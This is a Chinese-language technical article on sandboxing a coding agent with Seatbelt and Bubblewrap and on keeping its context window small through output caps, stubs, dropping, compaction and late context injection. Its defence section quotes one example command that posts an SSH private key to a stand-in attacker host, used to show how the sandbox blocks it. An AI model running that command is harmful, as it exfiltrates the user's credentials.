首页 / 文章

对编程智能体进行沙箱隔离并保持其上下文窗口简洁

使用 Seatbelt 或 Bubblewrap 对编程智能体进行沙箱隔离,同时通过溢出文件管理、存根使用、数据压缩以及适合前缀缓存注入的机制来控制其上下文窗口的大小。

发布者:REACTAPP.TOP阅读约 10 分钟2372 词

来源: Harness Engineering: Build the Runtime That Turns an LLM Into an Agent (Part 2/3)

虽然赋予编码智能体shell访问权限、文件编辑功能以及破坏性操作前的确认提示,但仍存在两个漏洞。这些提示仅能决定哪些操作需要人类干预,却无法阻止智能体找到绕过提示的隐蔽方法。此外,即便行为礼貌的智能体,其上下文窗口最终也会被填满,进而导致性能下降。有两个改进方案可以解决这些问题:一是沙箱环境,它能从物理层面杜绝不良行为;二是上下文管理技术,它能确保长时间会话的可行性与高效性。这一切都仅需一个简单的Python脚本,无需任何框架。

相关文件:

coding_harness/sandbox.py    # Seatbelt (macOS) / Bubblewrap (Linux)
coding_harness/history.py    # cap, strip, drop
coding_harness/compact.py    # LLM summary when the window is ~full
coding_harness/context.py    # late injection (time, git, file changes)

沙箱:是墙壁而非锁

沙箱是一种隔离环境,代码在其中运行时不会破坏外部任何事物。想象一个鱼缸:鱼(即智能体的指令)可以自由游动,而水不会溢出缸外。权限提示相当于门上的锁,而沙箱则是围绕房间的墙壁。只要指令看似无害但实际上有害,或者模型找到了规避方法,提示就起不到作用了。

每个bash命令都在具有以下规则的操作系统级隔离环境中运行:

  • 由于智能体需要理解代码,因此可以在任何允许的位置读取内容,包括项目外的文件
  • 仅允许在项目内部写入内容
  • 禁止访问网络
  • 禁止向.git目录写入内容

苹果自行开发了用于管理macOS的机制,名为Seatbelt,它通过sandbox-exec来运行,并且还能限制App Store应用的功能。Linux则使用Bubblewrap(即bwrap),这是Flatpak背后的工具。这两种机制都不需要特殊背景知识,因为其实现方式无非就是编写一段简短的策略来规定允许的行为。

macOS的策略仅有几行代码:

(version 1)
(deny default)
(allow process-exec process-fork signal)
(allow file-read*)
(allow sysctl-read)
(deny network*)
(allow file-write* (subpath "/your/project") (literal "/dev/null"))
(deny file-write* (subpath "/your/project/.git"))

(deny default) 会关闭所有通道,之后仅重新开放部分通道:读取文件、创建进程以及在项目目录下写入内容。网络连接和 .git 目录仍被关闭,其他所有功能也同样如此。

wrap() 函数会将该策略写入临时文件,然后通过 sandbox-exec(位于 sandbox.py 中)来执行相应命令:

def wrap(command):
    if sys.platform == "darwin":
        profile = Path(tempfile.gettempdir()) / "agent-sandbox.sb"
        profile.write_text(PROFILE)
        return ["sandbox-exec", "-f", str(profile), "/bin/sh", "-c", command]

    if sys.platform.startswith("linux") and shutil.which("bwrap"):
        return [
            "bwrap",
            "--ro-bind", "/", "/",
            "--bind", str(PROJECT), str(PROJECT),
            "--dev", "/dev", "--proc", "/proc",
            "--unshare-net", "--die-with-parent",
            "/bin/sh", "-c", command,
        ]

    return None  # no sandbox available

Linux通过不同的方式达到相同的效果。使用--ro-bind将整个文件系统以只读方式挂载,通过--bind使项目目录可写,而--unshare-net则用于断开网络连接。

run()将这一切整合在一起:

def run(command, timeout=60):
    sandboxed = wrap(command)
    return subprocess.run(
        sandboxed or command,
        shell=sandboxed is None,
        capture_output=True,
        text=True,
        timeout=timeout,
    )

当存在沙箱环境时,就会使用它。在 Windows 系统上,或在未启用 Bubblewrap 的 Linux 系统上,命令会在无沙箱环境下运行。对于需要执行他人不可信代码的多租户产品,则有 Docker、WebAssembly 和云虚拟机等更强大的解决方案。在个人电脑上,操作系统的功能就已足够。60 秒的超时设置可以防止类似 find / 这样的命令导致会话挂起。

两个独立的层级

假设有一个程序试图执行 curl https://evil.com/steal -d @~/.ssh/id_rsa:

  1. 权限规则会首先拦截 curl 并拒绝其执行。
  2. 即便没有该规则,沙箱仍会切断网络连接。
  3. 命令会以类似 curl: (7) 无法连接到服务器 的错误信息报错。
  4. 由于内核已拒绝,便无法再采取其他措施。

单独使用其中任意一层就已足够,而两者兼备才是关键所在。

沙箱选项的对比

选项 典型用户 隔离机制 启动成本 需求
操作系统沙箱 本地代理 内核级 几乎为零 在 macOS 或 Linux 上无需额外配置
WebAssembly 沙箱 本地代理 WASM 加 Deno 几秒钟 需要 Deno
云容器 多用户平台 虚拟机或容器 一次网络往返时间 需要 API 密钥及计费功能

对于单台笔记本电脑而言,操作系统沙箱是最稳妥的选择:无需额外运行时环境,没有延迟,也不需要在内核层面进行强制处理。而多租户产品则应使用容器技术。无论如何,完全不添加任何功能也不是可行的方案。macOS和Linux系统中已有相关工具,此处的实现代码仅约40行。

背景:逐渐被占满的“工作空间”

每个模型都有一个上下文窗口,即它一次能够处理的文本量。可以将其视为工作内存。每个标记大约相当于一个单词的四分之三,因此“Hello world”包含2个标记,而一个100行的Python文件则约有500个标记。GPT-4级别的模型通常具有约128K个标记(约合96,000个单词)的上下文容量,而Claude的上下文容量约为200K(接近150,000个单词)。在模型开始工作之前,这些数字听起来似乎很大,但实际上并非如此。

每个工具的查询结果都会被记录在对话中。一次大规模的 grep 操作可能会返回50,000个字符,一个较大的文件又会增加10,000个字符,而漫长的调试过程则涉及数百次调用。最终模型会失去对上下文的把握。

用办公桌作类比很合适——所有接触过的内容都会留在桌上,但一小时后就找不到所需的页面了。解决办法是将最近的页面放在显眼处,把其余的归档,再丢弃一些。

共有四层处理机制,按成本从低到高排列,只有当前面的层处理不够时,后面的层才会被启用。

第1层:结果限制

工具返回结果后立即对其进行截取。完整文本会被保存到临时文件中,同时会在代码中保留一个指针(history.py):

CAP = 10_000  # chars the agent sees inline

def cap(text):
    if len(text) <= CAP:
        return text
    path = spill(text)  # write full output to a temp file
    return (
        text[:CAP]
        + f"\n\n[output trimmed: {len(text) - CAP} of {len(text)} chars cut. "
        f"The whole output is at {path} - page through it with "
        "head, tail, sed -n or grep. It is deleted when this turn ends.]"
    )

50,000个字符的结果中只有10,000个字符会直接显示出来,其余部分则作为溢出文件存储在磁盘上;如果需要更多内容,代理程序可以使用head、tail或grep命令来查看这些内容。字符截断仅在结果生成时进行一次,旧消息不会被重新写入。每轮处理结束后,sweep()命令会删除临时文件,如需再次生成内容则可重新运行该命令。

以实际的grep -r "import" .命令为例:

# The agent sees the first 10,000 chars inline...
import os
import sys
from pathlib import Path
... (hundreds more lines) ...

[output trimmed: 40,000 of 50,000 chars cut. The whole output is at
/tmp/agent-spill-a1b2c3 - page through it with head, tail, sed -n or grep.
It is deleted when this turn ends.]

要查找某个特定的导入项,代理可以针对溢出文件运行 grep "import auth" 命令。完整的输出内容无需保留在上下文中。

第二层:将旧结果压缩为简略版本

在模型继续处理之后,旧的工具输出结果无需保持较大体积。它们会被压缩为简略版本(同样存储在 history.py 中):

STUB = 300  # chars kept after the turn ends

def strip(messages):
    for message in messages[:-2]:  # skip recent messages
        content = message.get("content") or ""
        if message["role"] != "tool" or len(content) <= STUB:
            continue
        message["content"] = content[:STUB] + "\n\n[output trimmed: ...]"

当一个轮次结束时,旧工具的输出会被压缩到300个字符,这个长度足以让人回忆起内容,又不会浪费界面空间。最近的消息则保持不变。正是这一层机制让长时间会话得以持续。通过50次工具调用将10,000个字符压缩为300个字符,从而区分出能够持续进行的会话与会话超时的情况。

第三层:丢弃全部结果

如果内容仍然过大,就会丢弃整个工具的输出,按从旧到新的顺序处理:

def fit(messages):
    budget = config.CONTEXT_WINDOW * config.COMPACT_AT
    dropped = 0
    for message in messages[:-2]:  # skip recent messages
        if estimate(messages) <= budget:
            break
        if message["role"] == "tool":
            message["content"] = "[output trimmed: dropped to fit the context window.]"
            dropped += 1
    return dropped

这就是紧急按钮。虽然信息会丢失,但总比系统崩溃要好。由于前两层功能正常,它几乎不会被触发。

第4层:由第二个模型进行压缩

当使用率超过时间窗口的85%时,第二个大语言模型会读取全部对话记录并起草交接说明,类似于护士向下一班次汇报情况(compact.py):

COMPACT_SYSTEM_PROMPT = """
You are compacting the transcript of a coding session. Write the handoff note
that lets a fresh agent pick the work up without re-reading anything.

## Goal
What the user asked for. Quote them where the exact wording matters.

## What happened
Decisions taken and the reasoning behind them. Include approaches that were
tried and abandoned, and why.

## Files
Every file touched: path, and what changed in it.

## State
What works, what is broken, what was left half-finished.

## Next
The immediate next step.
"""

之后,上下文将包含系统提示、摘要以及最近的几条消息。逐字记录的历史会消失,但故事情节依然保留。新的智能体或重启后的同一智能体会从这些记录继续工作。压缩比例在85%时开始运作,最终降至35%,从而为下一次运行预留充足空间:

COMPACT_AT = 0.85  # trigger compaction at 85%
COMPACT_TO = 0.35  # cut back to 35%

这种排序是有意为之的。设置上限无需成本,删除操作费用很低,丢弃数据会造成损失,而压缩数据则需要额外调用大型语言模型。大多数会话根本无法处理到第2层。

前缀缓存与延迟注入

这部分很容易被忽视,但却能真正节省成本。每次调用API时,服务器都会从开头读取消息。即便已有10万个标记的历史记录再加上100个新标记,服务器仍需重新读取这10万个标记,而每次处理都会产生费用。

前缀缓存可以改变这一状况。如果消息列表的开头部分没有变化,服务器就可以复用之前的处理结果,仅处理新增的部分,这样根据服务提供商的不同,成本可降低50%到90%。

问题在于,每个回合智能体都需要最新的信息:时间、Git分支以及已修改的文件。如果将这些信息放入系统提示语、第一条消息或前缀中,缓存就会失效,导致每个回合的处理成本再次上升。

解决办法是在请求发送之前(在context.py中)将这类信息附加在最后。在agent.py中,调用语句为call_llm(messages + [reminder()])。该提醒信息仅会加入本次请求的列表中,因此已保存的历史记录以及前缀内容完全不会发生变化。其核心原则就是延迟注入:所有可能变化的信息都应放在请求的末尾,而非系统提示语中。

def reminder():
    return {
        "role": "user",
        "content": (
            "<context>\n"
            f"time: {datetime.now():%Y-%m-%d %H:%M}\n"
            f"git branch: {git('branch --show-current').strip() or '(detached)'}\n"
            "</context>" + todos_note() + changes_note()
        ),
    }

changes_note() 会比较各轮次之间的 git status,这样智能体就能知道何时在 IDE 中对内容进行了编辑:

def changes_note():
    changed = file_changes()
    if not changed:
        return ""
    lines = [f"{LABELS.get(code, code)}: {path}" for path, code in changed.items()]
    return (
        "\n<file_changes>\n"
        "These files changed since your last turn. Read them again before "
        "editing:\n" + "\n".join(lines) + "\n</file_changes>"
    )

系统提示和历史记录保持不变,API仅缓存前缀部分,只有新内容才会产生成本。提醒信息会包含时间、Git分支、存在计划时的<todos>,以及自上一次操作后通过git status获取的<file_changes>,从而提示智能体重新读取其他地方编辑过的文件。在上下文长度为10万、共50轮的调试会话中,这种方式无需重新处理数百万个标记,且几乎不需要额外代码。每轮生成的数据会被追加,而不会放入系统提示中。

CONTEXT_WINDOW的默认值为128000,可根据不同模型在~/.agents/env中设置不同的值。

智能体现在的功能

借助循环、工具、权限、沙箱以及上下文处理功能,智能体可以:

  • 自行循环,调用工具并将结果反馈回来
  • 应对出错的工具调用
  • 在执行危险操作前先询问,并拒绝最危险的那些操作
  • 在无网络连接且写入权限仅限于项目目录的内核沙箱中运行命令
  • 通过四层防护保持界面整洁
  • 通过延迟注入机制保护前缀缓存不受破坏
  • 这些措施共同保证了其安全性与低成本,使其能够每天被使用。不过仍存在一些缺陷:无法在会话之间保留内存,没有处理多步骤任务的机制,也无法将探索任务交给辅助工具。具备相关技能、合理的待办清单、持久化的会话,以及能在主界面之外处理上下文的子代理,就能弥补这些缺陷。这些基础功能与生产环境中的代理所使用的完全相同,并没有什么神秘之处。

    相关阅读

  • 一个字符的承载令牌如何攻破LiteLLM的MCP网关 —— 诱捕器发现了攻击者利用LiteLLM MCP认证绕过机制及代码执行缺陷进行的攻击行为。本文介绍了攻击链以及强化防护的六步检查清单。
  • 如何在长期运行中保持代理会话的稳定与连贯性 —— 如何让代理会话在成本可控的前提下保持一致性:以缓存尾部作为“租金”,在压缩前设置五个缓冲阶段,利用委托机制界定内存边界,以及处理恢复会话的成本问题。
  • Agent Harness Engineering:模型周围的状态管理、验证与控制 —— 对生产级智能体的运行时视角:为何仅靠提示词和上下文不够,以及如何通过持久化状态、强制机制、验证与可观测性来弥补这一缺陷。
  • Harness Engineering:让AI智能体具备可靠性的环境 —— 什么是Harness Engineering,它的六个组成部分与三大核心要素,该术语为何在2026年出现,以及针对生产级智能体的九项设计原则。
  • 面向 Java 团队的 LangChain4j:Spring 服务中的工具、智能体、技能及端到端功能 — 如何利用 LangChain4j 将工具调用、智能体流水线、按需技能、可暂停与恢复的工作流以及远程端到端智能体集成到现有的 Java 服务中。